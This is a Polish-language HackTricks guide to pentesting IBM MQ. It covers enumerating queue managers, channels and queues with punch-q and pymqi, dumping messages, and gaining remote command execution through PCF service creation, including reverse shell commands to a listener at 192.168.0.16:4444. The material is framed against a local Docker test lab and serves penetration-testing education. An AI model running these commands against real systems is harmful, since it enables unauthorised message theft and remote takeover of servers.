1414 - Pentesting IBM MQ
Reading time: 10 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
IBM MQ to technologia IBM do zarządzania kolejkami wiadomości. Jak inne technologie message broker, jest dedykowana do odbierania, przechowywania, przetwarzania i klasyfikowania informacji między producentami a konsumentami.
Domyślnie eksponuje port TCP IBM MQ 1414. Czasami, HTTP REST API może być eksponowane na porcie 9443. Metryki (Prometheus) mogą być również dostępne z portu TCP 9157.
Port TCP IBM MQ 1414 może być używany do manipulacji wiadomościami, kolejkami, kanałami, ... ale także do kontrolowania instancji.
IBM udostępnia obszerną dokumentację techniczną dostępną na https://www.ibm.com/docs/en/ibm-mq.
Narzędzia
Sugerowanym narzędziem do łatwej eksploatacji jest punch-q, z użyciem Dockera. Narzędzie aktywnie korzysta z biblioteki Pythona pymqi
.
Dla bardziej manualnego podejścia, użyj biblioteki Pythona pymqi. Zależności IBM MQ są potrzebne.
Instalacja pymqi
Zależności IBM MQ muszą być zainstalowane i załadowane:
- Utwórz konto (IBMid) na https://login.ibm.com/.
- Pobierz biblioteki IBM MQ z https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Dla Linux x86_64 jest to 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Rozpakuj (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
). - Uruchom
sudo ./mqlicense.sh
, aby zaakceptować warunki licencji.
Jeśli jesteś na Kali Linux, zmodyfikuj plik
mqlicense.sh
: usuń/skomentuj następujące linie (między liniami 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Zainstaluj te pakiety:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Następnie tymczasowo dodaj pliki
.so
do LD:export LD_LIBRARY_PATH=/opt/mqm/lib64
, przed uruchomieniem innych narzędzi korzystających z tych zależności.
Następnie możesz sklonować projekt pymqi: zawiera interesujące fragmenty kodu, stałe, ... Lub możesz bezpośrednio zainstalować bibliotekę za pomocą: pip install pymqi
.
Używanie punch-q
Z Dockerem
Po prostu użyj: sudo docker run --rm -ti leonjza/punch-q
.
Bez Dockera
Sklonuj projekt punch-q, a następnie postępuj zgodnie z instrukcjami w readme dotyczącymi instalacji (pip install -r requirements.txt && python3 setup.py install
).
Po tym można go używać za pomocą polecenia punch-q
.
Enumeracja
Możesz spróbować wyenumerować nazwę menedżera kolejek, użytkowników, kanały i kolejki za pomocą punch-q lub pymqi.
Menedżer kolejek
Czasami nie ma ochrony przed uzyskaniem nazwy Menedżera Kolejek:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Kanały
punch-q używa wewnętrznej (modyfikowalnej) listy słów do znajdowania istniejących kanałów. Przykład użycia:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Zdarza się, że niektóre instancje IBM MQ akceptują nieautoryzowane żądania MQ, więc --username / --password
nie są potrzebne. Oczywiście, prawa dostępu mogą się również różnić.
Gdy tylko uzyskamy jedną nazwę kanału (tutaj: DEV.ADMIN.SVRCONN
), możemy enumerować wszystkie inne kanały.
Enumeracja może być zasadniczo przeprowadzona za pomocą tego fragmentu kodu code/examples/dis_channels.py
z pymqi:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... Ale punch-q również zawiera tę część (z większą ilością informacji!). Można go uruchomić za pomocą:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
Kolejki
Jest fragment kodu z pymqi (dis_queues.py
), ale punch-q pozwala na uzyskanie większej ilości informacji o kolejkach:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Wykorzystanie
Zrzut wiadomości
Możesz celować w kolejki/kanaly, aby podsłuchiwać/zrzucać wiadomości z nich (operacja nieinwazyjna). Przykłady:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Nie wahaj się iterować po wszystkich zidentyfikowanych kolejkach.
Wykonanie kodu
Kilka szczegółów przed kontynuowaniem: IBM MQ można kontrolować na różne sposoby: MQSC, PCF, Control Command. Ogólne listy można znaleźć w dokumentacji IBM MQ. PCF (Programowalne formaty poleceń) to na czym się skupiamy, aby zdalnie interagować z instancją. punch-q i dalej pymqi opierają się na interakcjach PCF.
Możesz znaleźć listę poleceń PCF:
- Z dokumentacji PCF, oraz
- z stałych.
Jednym z interesujących poleceń jest
MQCMD_CREATE_SERVICE
, a jego dokumentacja jest dostępna tutaj. Przyjmuje jako argumentStartCommand
wskazujący na lokalny program na instancji (przykład:/bin/sh
).W dokumentacji znajduje się również ostrzeżenie dotyczące polecenia: "Uwaga: To polecenie pozwala użytkownikowi uruchomić dowolne polecenie z uprawnieniami mqm. Jeśli przyznano prawa do korzystania z tego polecenia, złośliwy lub niedbały użytkownik mógłby zdefiniować usługę, która uszkodzi twoje systemy lub dane, na przykład, usuwając istotne pliki."
Uwaga: zawsze zgodnie z dokumentacją IBM MQ (Referencja administracyjna), istnieje również punkt końcowy HTTP pod
/admin/action/qmgr/{qmgrName}/mqsc
, aby uruchomić równoważne polecenie MQSC do tworzenia usługi (DEFINE SERVICE
). Ten aspekt nie został jeszcze tutaj omówiony.
Tworzenie / usuwanie usługi za pomocą PCF do zdalnego wykonania programu można zrealizować za pomocą punch-q:
Przykład 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
W logach IBM MQ można przeczytać, że polecenie zostało pomyślnie wykonane:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Możesz również enumerować istniejące programy na maszynie (tutaj /bin/doesnotexist
... nie istnieje):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Bądź świadomy, że uruchomienie programu jest asynchroniczne. Dlatego potrzebujesz drugiego elementu, aby wykorzystać exploit (nasłuchiwacz dla odwrotnej powłoki, tworzenie pliku na innej usłudze, eksfiltracja danych przez sieć ...)
Przykład 2
Dla łatwej odwrotnej powłoki, punch-q proponuje również dwa ładunki odwrotnej powłoki:
- Jeden z bash
- Jeden z perl
Oczywiście możesz zbudować własny za pomocą polecenia execute
.
Dla bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Dla perla:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Custom PCF
Możesz zagłębić się w dokumentację IBM MQ i bezpośrednio użyć biblioteki pymqi w Pythonie, aby przetestować konkretne polecenie PCF, które nie jest zaimplementowane w punch-q.
Example:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
Jeśli nie możesz znaleźć nazw stałych, możesz odwołać się do dokumentacji IBM MQ.
_Przykład dla
MQCMD_REFRESH_CLUSTER
(Decimal = 73). Wymaga parametruMQCA_CLUSTER_NAME
(Decimal = 2029), który może być_
(Dok: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Błąd") else: print(response) qmgr.disconnect()
Środowisko testowe
Jeśli chcesz przetestować zachowanie IBM MQ i exploity, możesz skonfigurować lokalne środowisko oparte na Dockerze:
- Posiadanie konta na ibm.com i cloud.ibm.com.
- Utworzenie konteneryzowanego IBM MQ z:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
Domyślnie uwierzytelnianie jest włączone, nazwa użytkownika to admin
, a hasło to passw0rd
(zmienna środowiskowa MQ_ADMIN_PASSWORD
). Tutaj nazwa menedżera kolejek została ustawiona na MYQUEUEMGR
(zmienna MQ_QMGR_NAME
).
Powinieneś mieć uruchomione IBM MQ z otwartymi portami:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Stare wersje obrazów dockera IBM MQ znajdują się pod adresem: https://hub.docker.com/r/ibmcom/mq/.